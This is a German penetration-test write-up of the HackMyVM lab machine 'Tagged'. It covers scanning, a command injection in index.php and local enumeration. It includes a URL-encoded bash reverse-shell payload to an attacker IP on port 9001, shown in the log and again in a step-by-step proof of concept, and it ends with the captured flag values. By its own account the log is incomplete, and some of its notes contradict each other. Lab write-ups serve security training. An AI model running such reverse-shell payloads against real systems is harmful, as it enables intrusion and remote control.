Tagged - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
curl
nikto
nc (netcat)
wfuzz
python3
find
grep
ls
cat
printenv
ss
getcap
capsh
setcap
systemctl
stty
fg
reset

Inhaltsverzeichnis

Hinweis: Der bereitgestellte Textlog für diesen Bericht ist lückenhaft. Insbesondere fehlen die Schritte zur Entdeckung der RCE-Schwachstelle und der vollständige Weg zur Privilege Escalation.

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.118	08:00:27:e5:ca:26	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden. Ein Host mit der IP 192.168.2.118 und der MAC-Adresse 08:00:27:e5:ca:26 (zugeordnet zu PCS Systemtechnik GmbH / Oracle VirtualBox) wird identifiziert.

Bewertung: Das Zielsystem "Tagged" wurde erfolgreich im Netzwerk lokalisiert. Diese IP ist der Startpunkt für weitere Scans.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. ARP-Aktivitäten überwachen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.118 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-14 23:05 CET
Nmap scan report for tagged (192.168.2.118)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
7746/tcp open  unknown <-- Ungewöhnlicher Port, nicht weiter identifiziert
1 service unrecognized despite returning data. If you know the service/version, [...] submit [...] fingerprint [...]
SF-Port7746-TCP:V=7.93%I=7%D=11/14%Time=6372BB97%P=x86_64-pc-linux-gnu%r(N
SF:ULL,1,">")%r(GenericLines,2,">>")%r(GetRequest,2,">>")%r(HTTPptions,2,
SF:">>")%r(RTSPRequest,2,">>")%r(RPCCheck,1,">")%r(DNSVersionBindReqTCP,1,
SF:">")%r(DNSStatusRequestTCP,1,">")%r(SSLSessionReq,1,">")%r(TerminalServ
SF:erCookie,2,">>")%r(TLSSessionReq,2,">>");
MAC Address: 08:00:27:E5:CA:26 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.6 (98%), Linux 5.0 - 5.3 (98%), [...]
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms tagged (192.168.2.118)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds

Analyse: Ein Nmap-Scan aller TCP-Ports (`-p-`) identifiziert zwei offene Ports:

Die OS-Erkennung deutet auf Linux hin.

Bewertung: Die Hauptangriffsfläche sind der Webserver auf Port 80 und der unbekannte Dienst auf Port 7746. Port 7746 ist besonders interessant, da er nicht standardmäßig ist und eine manuelle Untersuchung erfordert.

Empfehlung (Pentester): Untersuchen Sie Port 80 mit Directory Busting (`gobuster`) und manueller Analyse. Verbinden Sie sich manuell mit Port 7746 (z.B. mit `nc` oder `telnet`) und versuchen Sie, durch Senden verschiedener Eingaben die Funktion des Dienstes zu ermitteln.
Empfehlung (Admin): Identifizieren Sie den Dienst auf Port 7746. Wenn er nicht benötigt wird, deaktivieren Sie ihn. Wenn er benötigt wird, stellen Sie sicher, dass er sicher konfiguriert ist und durch eine Firewall geschützt wird. Konfigurieren Sie Nginx sicher (z.B. informative Titel hinzufügen, unnötige Header entfernen).

Enumeration (Web, VHost)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.118 -x [...],php,html,[...] -w "/usr/share/seclists/[...]/directory-list-2.3-medium.txt" -b '403,404' -e -t 100 -n -k
===============================================================
Gobuster v3.3
===============================================================
[...]
===============================================================
2022/11/08 14:52:39 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.118/index.html           [Size: 46]
http://192.168.2.118/index.php            [Size: 26] <-- Sehr klein!
http://192.168.2.118/report.html          [Size: 0] <-- Leer
http://192.168.2.118/report.php           [Size: 0] <-- Leer
[...]
===============================================================
Finished
===============================================================

Analyse: Ein `gobuster dir`-Scan auf Port 80 findet eine `index.html`, eine sehr kleine `index.php` (26 Bytes) sowie zwei leere Dateien (`report.html`, `report.php`). `-n` unterdrückt die Statuscodes in der Ausgabe, `-k` ignoriert SSL-Fehler.

Bewertung: Die `index.php` ist das interessanteste Ziel. Die leeren Report-Dateien könnten Platzhalter sein oder auf eine geplante, aber nicht implementierte Funktionalität hindeuten.

Empfehlung (Pentester): Untersuchen Sie `index.php`. Rufen Sie sie im Browser auf, versuchen Sie Parameter zu finden (z.B. mit `wfuzz`). Lesen Sie den Quellcode, wenn möglich (z.B. via LFI, falls vorhanden, oder über das später gefundene `.git`-Repo).
Empfehlung (Admin): Entfernen Sie unnötige oder leere Dateien vom Webserver. Stellen Sie sicher, dass PHP-Skripte sicher sind.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.118/index.php -Iv
*   Trying 192.168.2.118:80...
* Connected to 192.168.2.118 (192.168.2.118) port 80 (#0)
> HEAD /index.php HTTP/1.1
> Host: 192.168.2.118
> User-Agent: curl/7.86.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Mon, 14 Nov 2022 22:09:07 GMT
< Content-Type: text/html; charset=UTF-8
< Connection: keep-alive
< Content-Length: 26 <-- Bestätigt kleine Größe

* Connection #0 to host 192.168.2.118 left intact

Analyse: `curl -I` (nur Header) wird verwendet, um die Header für `index.php` abzurufen. `-v` zeigt zusätzliche Verbindungsdetails. Die Header bestätigen den HTTP 200 OK Status und die kleine Inhaltslänge von 26 Bytes.

Bewertung: Bestätigt die Ergebnisse von Gobuster. Die Datei existiert und ist sehr klein.

Empfehlung (Pentester): Versuchen Sie, den Inhalt mit `curl http://192.168.2.118/index.php` abzurufen. Da sie so klein ist, könnte sie nur einen `include()` oder eine einfache Weiterleitung enthalten.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.118
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2022-11-14 23:08:38 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. [...]
+ The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Multiple index files found: /index.html, /index.php
+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2022-11-14 23:09:10 (GMT1) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ein `nikto`-Scan auf Port 80 bestätigt den Nginx-Server und meldet fehlende Security Header. Er weist auch auf das Vorhandensein mehrerer Index-Dateien hin (`index.html`, `index.php`).

Bewertung: Liefert keine wesentlich neuen Informationen gegenüber Nmap und Gobuster. Bestätigt das Datum für den Bericht.

Empfehlung (Pentester): Fokus auf die Untersuchung von `index.php` und des unbekannten Ports 7746.
Empfehlung (Admin): Fehlende Security Header implementieren.

┌──(root㉿cyber)-[~] └─# nc -vv 192.168.2.118 7746
DNS fwd/rev mismatch: tagged != tagged.speedport.ip
tagged [192.168.2.118] 7746 (?) : Connection refused
 sent 0, rcvd 0

Analyse: Ein Versuch, sich mit `nc -vv` (verbose) mit dem Port 7746 zu verbinden, scheitert mit "Connection refused".

Bewertung: Dies widerspricht dem Nmap-Ergebnis, das Port 7746 als "open" meldete. Mögliche Erklärungen:

Port 7746 scheint vorerst kein gangbarer Weg zu sein.

Empfehlung (Pentester): Ignorieren Sie Port 7746 vorerst und konzentrieren Sie sich auf Port 80. Versuchen Sie den Port später erneut, falls sich Hinweise ergeben, dass er wieder aktiv ist.
Empfehlung (Admin): Untersuchen Sie, welcher Dienst auf Port 7746 laufen sollte und warum er nicht erreichbar ist oder instabil zu sein scheint.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "tagged.hmv" -H "Host: FUZZ.tagged.hmv" --hh 46
[...] # Keine Ergebnisse im Log angezeigt

Analyse: Ein `wfuzz`-Scan wird durchgeführt, um virtuelle Hosts (VHosts) zu finden, die auf `tagged.hmv` enden. Es wird eine Wortliste verwendet, um Subdomains (`FUZZ`) zu testen. `--hh 46` blendet Antworten mit 46 Zeichen aus (vermutlich die Standardantwort der `index.html`). Es werden keine Ergebnisse im Log gezeigt.

Bewertung: Mit dieser Methode wurden keine offensichtlichen VHosts gefunden.

Empfehlung (Pentester): Versuchen Sie andere Wortlisten oder Techniken zur VHost-Enumeration. Analysieren Sie die Webseite manuell auf Hinweise.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.118
tagged.hmv


Analyse: Ein einfacher `curl`-Aufruf auf die IP-Adresse (Port 80) liefert den Text "tagged.hmv" und einen HTML-Kommentar: ``.

Bewertung: Wichtiger Hinweis! Der Kommentar deutet explizit auf die Existenz eines virtuellen Hosts hin, dessen Subdomain mit "xxx" beginnt (oder "xxx" ist die Subdomain). Dies muss weiter untersucht werden.

Empfehlung (Pentester): Fügen Sie `xxx.tagged.hmv` zur `/etc/hosts`-Datei hinzu und untersuchen Sie diesen VHost (`http://xxx.tagged.hmv`). Da "xxx" möglicherweise ein Platzhalter ist, versuchen Sie auch VHost-Bruteforcing mit Fokus auf dreibuchstabige Subdomains oder relevante Begriffe.
Empfehlung (Admin): Entfernen Sie sensible Hinweise oder interne Hostnamen aus öffentlich zugänglichen Kommentaren im HTML-Code.

┌──(root㉿cyber)-[~] └─# curl -d '{"command":"getDeviceInfo"}' http://192.168.2.118
405 Not Allowed
nginx/1.18.0

Analyse: Es wird versucht, einen POST-Request (`-d`) mit JSON-Daten an die Root-URL zu senden. Der Server antwortet mit `405 Not Allowed`, was bedeutet, dass die POST-Methode für diese URL nicht erlaubt ist.

Bewertung: Dieser spezifische POST-Versuch war nicht erfolgreich und liefert keine nützlichen Informationen.

Empfehlung (Pentester): Fokus auf GET-Requests und die Untersuchung des VHosts `xxx.tagged.hmv` sowie der `index.php`.
Empfehlung (Admin): Keine direkte Aktion erforderlich.

# Implizierte Interaktion oder Fund
nice ports,/Trinity.txt.bak

Analyse: Dieser isolierte String erscheint im Log ohne direkten Kontext eines Befehls. Er lautet "nice ports,/Trinity.txt.bak".

Bewertung: Dies ist ein extrem wichtiger Hinweis, der wahrscheinlich durch eine vorherige, nicht vollständig protokollierte Interaktion (vielleicht mit dem VHost `xxx.tagged.hmv` oder einer Funktion in `index.php`?) gefunden wurde. Er deutet auf eine Backup-Datei (`/Trinity.txt.bak`) hin, die sensible Informationen oder Zugangsdaten enthalten könnte, und erwähnt "nice ports", was sich möglicherweise auf den Port 7746 oder andere, noch unentdeckte Ports bezieht.

Empfehlung (Pentester): Versuchen Sie, auf `http://192.168.2.118/Trinity.txt.bak` oder `http://xxx.tagged.hmv/Trinity.txt.bak` zuzugreifen. Wenn der Zugriff gelingt, analysieren Sie den Inhalt. Behalten Sie die Erwähnung von "nice ports" im Hinterkopf für spätere Enumerationsphasen.
Empfehlung (Admin): Stellen Sie sicher, dass keine Backup-Dateien (`.bak`, `~`, `.old` etc.) im Web-Root oder anderen zugänglichen Verzeichnissen liegen. Implementieren Sie Richtlinien zur sicheren Handhabung von Backup-Dateien.

Initial Access (RCE via Web)

**Hinweis:** Der genaue Weg zur Entdeckung der RCE-Schwachstelle ist im Log unklar. Die folgenden Schritte zeigen die Ausnutzung, nicht die Entdeckung.

┌──(root㉿cyber)-[~] └─# nc 192.168.2.118 7746
<-- Erneuter Versuch auf Port 7746?
>ls
>id
>echo hi
> <-- Eingabe von PHP Code?
>

Analyse: Hier wird erneut versucht, mit Port 7746 zu interagieren. Es werden verschiedene Befehle (`ls`, `id`, `echo hi`) und sogar PHP-Code eingegeben. Es wird keine Antwort vom Server im Log gezeigt. Dies widerspricht weiterhin dem "Connection refused" von zuvor und dem Fehlen des Ports in `ss`. *Es ist unklar, was hier getestet oder erreicht wurde.*

Bewertung: Dieser Log-Abschnitt ist verwirrend und liefert keine klaren Ergebnisse. Die Interaktion mit Port 7746 bleibt unbestätigt und scheint nicht der erfolgreiche Pfad gewesen zu sein.

Empfehlung (Pentester): Aufgrund der Unklarheiten und fehlenden Antworten sollte dieser Pfad ignoriert und der Fokus auf den nachfolgend gezeigten RCE-Payload über Port 80 gelegt werden.
Empfehlung (Admin): Den Status und Zweck von Port 7746 klären.

# RCE Payload Ausführung (Ziel: Reverse Shell)
http://192.168.2.118/index.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.109%2F9001%200%3E%261%27

Analyse: Dieser Eintrag zeigt eine URL, die eine Command Injection Schwachstelle in `index.php` (Port 80) ausnutzt. Der GET-Parameter `cmd` wird verwendet, um einen Bash-Reverse-Shell-Payload auszuführen, der sich zum Angreifer-System (192.168.2.109) auf Port 9001 verbindet. **Wichtiger Hinweis:** Das Log dokumentiert nicht, wie die Anfälligkeit für den `cmd`-Parameter gefunden wurde (die `index.php` war laut Gobuster nur 26 Bytes groß).

Bewertung: Dies ist der entscheidende Schritt zum Initial Access. Obwohl die Entdeckung der Schwachstelle fehlt, zeigt dieser Payload die erfolgreiche Ausnutzung zur Erlangung einer Reverse Shell.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf 192.168.2.109:9001 und rufen Sie die präparierte URL auf, um die Shell zu erhalten.
Empfehlung (Admin): Untersuchen Sie `index.php` dringend auf die Command Injection Schwachstelle (wahrscheinlich unsichere Verwendung von `system()`, `shell_exec()` etc. mit dem `cmd`-Parameter) und beheben Sie diese.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
# Nach Aufruf der RCE-URL
listening on [any] 9001 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.118] 41386 <-- Ziel-IP ist .118 hier, nicht .107? Prüfen!
www-data@tagged:~/html$ # Shell erhalten!

Analyse: Der Netcat-Listener wird gestartet. Nach dem (impliziten) Aufruf der RCE-URL geht eine Verbindung vom Zielsystem (192.168.2.118) ein, und der Angreifer erhält eine Shell als `www-data`.

Bewertung: Initial Access erfolgreich etabliert!

Empfehlung (Pentester): Shell stabilisieren und mit der Post-Exploitation / Privilege Escalation Enumeration beginnen.
Empfehlung (Admin): RCE-Lücke beheben. Ausgehende Verbindungen überwachen/einschränken.

www-data@tagged:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@tagged:~/html$
www-data@tagged:~/html$ export TERM=xterm-256color
[Keine Ausgabe]
www-data@tagged:~/html$ ^Z
<-- Shell in Hintergrund
zsh: suspended  nc -lvnp 9001
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
                               reset
<-- Shell wieder im Vordergrund, TTY Einstellungen angepasst
www-data@tagged:~/html$ # Voll interaktive Shell

Analyse: Die erhaltene Shell wird zuerst mit dem Python PTY-Trick und dann durch Anpassen der Terminal-Einstellungen (`stty raw -echo; fg; reset`) auf dem Angreifer-System vollständig interaktiv gemacht.

Bewertung: Standardmäßige und korrekte Vorgehensweise zur Shell-Stabilisierung für bessere Benutzerfreundlichkeit.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): Keine direkte Aktion.

Proof of Concept (RCE via index.php)

Kurzbeschreibung: Die Datei `index.php` auf dem Webserver (Port 80) des Ziels `tagged.hmv` ist anfällig für Remote Command Execution (RCE). Sie akzeptiert einen GET-Parameter namens `cmd`. Der Wert dieses Parameters wird offenbar unsicher an eine Funktion zur Befehlsausführung auf dem Server (wie `system()`, `shell_exec()` oder ähnliches) übergeben. Dies ermöglicht es einem Angreifer, durch Senden einer präparierten URL beliebige Betriebssystembefehle im Kontext des Webserver-Benutzers (`www-data`) auszuführen.

**Hinweis:** Die genaue Ursache (z.B. der Quellcode von `index.php`) ist im Log nicht dokumentiert, aber die erfolgreiche Ausführung des Payloads belegt die Schwachstelle.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Listener starten (Angreifer-System): Starten Sie Netcat, um auf eine eingehende Verbindung zu warten (z.B. auf Port 9001).
    ┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
    listening on [any] 9001 ...
  2. RCE-Payload senden: Rufen Sie die `index.php` mit dem präparierten `cmd`-Parameter auf, der den Reverse-Shell-Befehl enthält (stellen Sie sicher, dass er URL-kodiert ist).
    ┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.118/index.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.109%2F9001%200%3E%261%27"
    [Keine relevante Ausgabe von curl erwartet]
    *(Hinweis: Ersetzen Sie `192.168.2.109` durch die IP Ihres Angreifer-Systems).*
  3. Shell empfangen (Angreifer-Listener): Der Netcat-Listener sollte nun die eingehende Verbindung anzeigen und eine Shell bereitstellen.
    listening on [any] 9001 ...
    connect to [Angreifer-IP] from (UNKNOWN) [192.168.2.118] xxxxx
    [...]
    $ # Shell erhalten

Erwartetes Ergebnis: Eine interaktive Shell auf dem Zielsystem, ausgeführt mit den Rechten des `www-data`-Benutzers.

Beweismittel: Die erfolgreiche eingehende Verbindung im Netcat-Listener und die Möglichkeit, Befehle in der Shell auszuführen.

Risikobewertung: Hoch. RCE ermöglicht Angreifern die Ausführung beliebiger Befehle, was zur vollständigen Kompromittierung des Webservers, Datendiebstahl und weiterer Ausbreitung im Netzwerk führen kann.

Empfehlungen zur Behebung:

Privilege Escalation

**Hinweis:** Der bereitgestellte Textlog enthält Enumerationsschritte als `www-data`, aber nicht den entscheidenden Schritt oder die Methode, die zur Erlangung von Root-Rechten führt. Die Privilege Escalation von `www-data` zu `root` ist nicht dokumentiert.

www-data@tagged:~/html$ find / -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
<-- Suche nach 'PASSWORD', nicht 'PASSWRD'
[Keine relevanten Ergebnisse im Log]

Analyse: Als `www-data` wird versucht, mit `find` und `grep` nach Dateien zu suchen, die das Wort "PASSWORD" (case-insensitive, ignoriert Binärdateien) enthalten. Das Log zeigt keine relevanten Funde.

Bewertung: Diese spezifische Suche nach Passwörtern war erfolglos.

Empfehlung (Pentester): Verwenden Sie umfassendere Suchmuster und durchsuchen Sie Konfigurationsdateien, Skripte und Home-Verzeichnisse gezielt. Prüfen Sie `sudo -l` und SUID-Binaries.
Empfehlung (Admin): Speichern Sie keine Passwörter im Klartext in Dateien.

www-data@tagged:~/html$ ls /home/
shyla  uma
www-data@tagged:~/html$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1429 Nov 14 14:43 /etc/passwd
www-data@tagged:~/html$ ls -la /etc/shadow
-rw-r----- 1 root shadow 971 Nov 14 14:43 /etc/shadow

Analyse: Die Home-Verzeichnisse der Benutzer `shyla` und `uma` werden identifiziert. Die Berechtigungen von `/etc/passwd` sind normal (lesbar für alle). Die Berechtigungen von `/etc/shadow` sind ebenfalls Standard (nur für `root` und die Gruppe `shadow` lesbar).

Bewertung: Identifiziert potenzielle Benutzerkonten. Bestätigt, dass `/etc/shadow` nicht direkt von `www-data` gelesen werden kann.

Empfehlung (Pentester): Untersuchen Sie die Home-Verzeichnisse von `shyla` und `uma` (soweit Berechtigungen es zulassen). Versuchen Sie, Passwörter für diese Benutzer zu erraten oder zu knacken.
Empfehlung (Admin): Stellen Sie sicher, dass Home-Verzeichnisse angemessene Berechtigungen haben.

www-data@tagged:~/html$ find / -type f -perm -4000 -ls 2>/dev/null
[...] # Standard SUID-Binaries
    15248    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/bin/sudo
[...]

Analyse: Die Suche nach SUID-Dateien wird erneut durchgeführt (oder hier zum ersten Mal detailliert gezeigt). Es werden hauptsächlich Standard-SUID-Binaries gefunden, darunter `/usr/bin/sudo`.

Bewertung: Keine offensichtlichen ungewöhnlichen oder leicht ausnutzbaren SUID-Binaries gefunden. Der nächste Schritt wäre, `sudo -l` zu prüfen (was im Log fehlt).

Empfehlung (Pentester): Führen Sie `sudo -l` aus, um zu sehen, ob `www-data` irgendwelche `sudo`-Berechtigungen hat.
Empfehlung (Admin): Entfernen Sie unnötige SUID-Bits von Standard-Binaries, wenn möglich.

www-data@tagged:~/html$ printenv
PWD=/var/www/html
HOME=/var/www <-- Ungewöhnliches Home für www-data
TERM=xterm-256color
USER=www-data
SHLVL=3
LC_CTYPE=C.UTF-8
_=/usr/bin/printenv
www-data@tagged:~/html$ echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.

Analyse: Die Umgebungsvariablen werden ausgegeben. Der `HOME`-Pfad für `www-data` ist auf `/var/www` gesetzt, was nicht Standard ist (normalerweise `/var/www` oder `/srv/www`). Der `PATH` enthält das aktuelle Verzeichnis (`.`).

Bewertung: Das ungewöhnliche `HOME`-Verzeichnis ist eine Notiz wert, bietet aber keinen direkten Exploit. Der Punkt (`.`) im `PATH` kann unter bestimmten Umständen zu Schwachstellen führen, wenn Skripte oder SUID-Binaries Befehle ohne absoluten Pfad aufrufen.

Empfehlung (Pentester): Beachten Sie den `PATH` für mögliche Hijacking-Angriffe, falls `sudo` oder SUID-Binaries relative Pfade verwenden.
Empfehlung (Admin): Setzen Sie `HOME`-Verzeichnisse für Dienstbenutzer korrekt (oder auf nicht existierende Pfade). Entfernen Sie `.` aus dem `PATH` von Dienstbenutzern und Systemprozessen.

www-data@tagged:/tmp$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
www-data@tagged:/tmp$ capsh --drop=cap_net_raw --print -- -c "tcpdump"
unable to raise CAP_SETPCAP for BSET changes: Operation not permitted
www-data@tagged:/tmp$ setcap -r /usr/bin/ping
unable to set CAP_SETFCAP effective capability: Operation not permitted

Analyse: Es wird nach Linux Capabilities gesucht (`getcap`), nur `ping` hat die übliche `cap_net_raw`. Versuche, Capabilities zu manipulieren (`capsh`, `setcap`), scheitern wie erwartet, da `www-data` nicht die notwendigen Rechte (`CAP_SETPCAP`, `CAP_SETFCAP`) hat.

Bewertung: Capabilities bieten hier keinen Eskalationsweg.

Empfehlung (Pentester): Keine Aktion erforderlich.
Empfehlung (Admin): Keine Aktion erforderlich.

www-data@tagged:/tmp$ ss --unix
[...] # Liste von Unix-Sockets, darunter /run/php/php7.4-fpm.sock

Analyse: `ss --unix` listet lokale Unix-Domain-Sockets auf. Unter anderem ist ein Socket für PHP-FPM (`php7.4-fpm.sock`) sichtbar.

Bewertung: Zeigt, dass PHP wahrscheinlich über FPM läuft, was eine gängige Konfiguration für Nginx ist. Bietet aber keinen direkten Angriffspunkt von `www-data` aus.

Empfehlung (Pentester): Keine direkte Aktion.
Empfehlung (Admin): Stellen Sie sicher, dass Unix-Sockets korrekt berechtigt sind.

www-data@tagged:/tmp$ systemctl list-timers --all
NEXT                        LEFT          LAST                        PASSED   UNIT                         ACTIVATES
Tue 2022-11-15 22:39:00 CET 7min left     Tue 2022-11-15 22:09:01 CET 21min ago anacron.timer                anacron.service
Wed 2022-11-16 00:00:00 CET 1h 28min left Tue 2022-11-15 00:00:04 CET 22h ago   apt-daily.timer              apt-daily.service
Wed 2022-11-16 00:00:00 CET 1h 28min left Tue 2022-11-15 00:00:04 CET 22h ago   dpkg-db-backup.timer         dpkg-db-backup.service
Wed 2022-11-16 00:10:56 CET 1h 39min left Mon 2022-11-14 10:47:01 CET 1 day 11h fstrim.timer                 fstrim.service
Wed 2022-11-16 06:53:40 CET 8h left       Tue 2022-11-15 21:51:31 CET 39min ago man-db.timer                 man-db.service
Wed 2022-11-16 21:55:51 CET 23h left      Tue 2022-11-15 21:55:51 CET 35min ago motd-news.timer              motd-news.service
Sun 2022-11-20 03:10:04 CET 4 days left   Mon 2022-11-14 10:47:01 CET 1 day 11h apt-daily-upgrade.timer      apt-daily-upgrade.service
Mon 2022-11-21 00:35:36 CET 5 days left   Mon 2022-11-14 10:47:01 CET 1 day 11h systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

Analyse: `systemctl list-timers --all` zeigt geplante Systemd-Timer an. Es sind nur Standard-Systemwartungs-Timer aktiv (anacron, apt, dpkg, fstrim, man-db, motd, tmpfiles-clean).

Bewertung: Systemd-Timer scheinen hier keinen Eskalationsweg zu bieten, da keine benutzerdefinierten oder unsicheren Timer sichtbar sind.

Empfehlung (Pentester): Überprüfen Sie auch traditionelle Cronjobs (`cat /etc/crontab /etc/cron.*/*`).
Empfehlung (Admin): Keine Aktion erforderlich, da dies Standard-Timer sind.

**Abschließende Bewertung des Logs (Privilege Escalation):** Der Log endet nach der `www-data`-Enumeration. Der entscheidende Schritt zur Erlangung von Root-Rechten fehlt vollständig. Basierend auf dem Hinweis `nice ports,/Trinity.txt.bak` ist es *möglich*, dass der Weg über das Lesen dieser Datei führte, aber das Log zeigt nicht, *wie* `www-data` die nötigen Rechte (z.B. Root) erlangte, um diese Datei zu lesen oder wie diese Datei sonst zugänglich gemacht wurde.

Flags

Hinweis: Die folgenden Flags wurden am Ende des bereitgestellten Textes gefunden, jedoch ohne die zugehörigen Befehle zu ihrer Extraktion. Der Weg zur Root-Flag ist im Log nicht dokumentiert.

cat user.txt
g0disah4ck3r
cat root.txt / Trinity.txt.bak ?
HMVrep0rtz!